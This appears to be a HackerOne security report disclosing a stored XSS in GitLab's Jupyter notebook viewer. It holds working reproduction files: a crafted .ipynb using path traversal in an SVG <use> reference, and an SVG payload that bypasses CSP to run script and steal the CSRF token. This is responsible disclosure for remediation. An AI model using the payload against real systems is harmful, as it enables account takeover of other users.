XSS using <use xlink:href> in Jupyter notebooks
HackerOne report #1347600 by saleemrashid
on 2021-09-22, assigned to GitLab Team:
Report
Summary
When the blob viewer renders text/html
outputs in .ipynb
files, it uses the v-safe-html
directive (https://gitlab.com/gitlab-org/gitlab-ui/-/blob/main/src/directives/safe_html/safe_html.md) to sanitize the HTML.
To support SVG icons, the use
tag is allowed https://gitlab.com/gitlab-org/gitlab/-/blob/v14.3.0-ee/app/assets/javascripts/notebook/cells/output/html.vue#L32
safeHtmlConfig: {
ADD_TAGS: ['use'], // to support icon SVGs
},
An afterSanitizeAttributes
DOMPurify hook is used to check the href
and xlink:href
attributes https://gitlab.com/gitlab-org/gitlab/-/blob/v14.3.0-ee/app/assets/javascripts/lib/dompurify.js#L12-19
// Only icons urls from `gon` are allowed
const getAllowedIconUrls = (gon = window.gon) =>
[gon.sprite_file_icons, gon.sprite_icons].filter(Boolean);
const isUrlAllowed = (url) => getAllowedIconUrls().some((allowedUrl) => url.startsWith(allowedUrl));
const isHrefSafe = (url) =>
isUrlAllowed(url) || isUrlAllowed(relativePathToAbsolute(url, getBaseURL())) || url.match(/^#/);
However, because isUrlAllowed
uses startsWith
, we can do a path traversal attack and link to a different SVG file. For example, [REDACTED]
.
We can then put a <foreignObject>
element in the SVG to include HTML elements that DOMPurify would have removed. However, this seems to work in Firefox only. In Chrome, the <foreignObject>
element is absent from the shadow DOM.
The referenced SVG is still subject to CSP, so I will use the same Lodash template strategy as https://hackerone.com/reports/1345589 to bypass it and achieve XSS.
Steps to reproduce
- Create a repository with two files
jupyter.ipynb
. Replace [REDACTED]
with your repository's name
{
"nbformat": 4,
"nbformat_minor": 0,
"metadata": {},
"cells": [
{
"cell_type": "code",
"source": [
"Hello, World!"
],
"outputs": [
{
"data": {
"text/html": "<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"><use xlink:href=\"/assets/icons-319de3b47bd085e8b73de84bed6ed3eb7fb318aadf14d14ff781ba9a32129b45.svg/../../[REDACTED]#main\" /></svg>"
}
}
]
}
]
}
jupyter.svg
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<defs>
<g id="main">
<foreignObject>
<iframe xmlns="http://www.w3.org/1999/xhtml" srcdoc="<base href=https://assets.gitlab-static.net/assets/webpack/><form id=gon><input name=u2f></form><br id=js-register-token-2fa><p id=js-register-token-2fa-setup>${alert(parent.document.querySelector('meta[name=csrf-token]').outerHTML)}</p><script src=runtime.a6eee683.bundle.js></script><script src=main.40ed7f48.chunk.js></script><script src=commons-globalSearch-pages.admin.abuse_reports-pages.admin.application_settings.ci_cd-pages.admin.gr-f196c612.69ea2ffd.chunk.js></script><script src=commons-pages.admin.sessions-pages.groups.omniauth_callbacks-pages.ldap.omniauth_callbacks-pages.omn-c3aaf8c4.5768d554.chunk.js></script><script src=commons-pages.profiles-pages.profiles.accounts.show-pages.profiles.billings-pages.profiles.keys-page-6145ef8e.b9c7e4f8.chunk.js></script><script src=commons-pages.profiles.accounts.show-pages.profiles.two_factor_auths.170fd497.chunk.js></script><script src=pages.profiles.two_factor_auths.01996eaa.chunk.js></script>"></iframe>
</foreignObject>
</g>
</defs>
</svg>
-
Use Firefox to view
jupyter.ipynb
in GitLab. A pop-up dialogue shows the user's CSRF token as a demonstration. However, any JavaScript could be executed instead.
Impact
In Firefox, JavaScript execution as the authenticated user allows account takeover without the user having to interact with the page. In Chrome, an unsanitized SVG file can be referenced but it does not seem to allow JavaScript execution.
Examples
Private project on GitLab.com [REDACTED]
What is the current bug behavior?
<use>
element can reference SVG files that they shouldn't be able to. In Firefox, this allows to include HTML elements that shouldn't be allowed, using a <foreignObject>
element in the referenced SVG.
What is the expected correct behavior?
<use>
elements should only be allowed to reference allow-listed icon files, or sanitized SVG files.
Output of checks
This bug happens on GitLab.com
Impact
In Firefox, JavaScript execution as the authenticated user allows account takeover without the user having to interact with the page. In Chrome, an unsanitized SVG file can be referenced but it does not seem to allow JavaScript execution.
How To Reproduce
Please add reproducibility information to this section: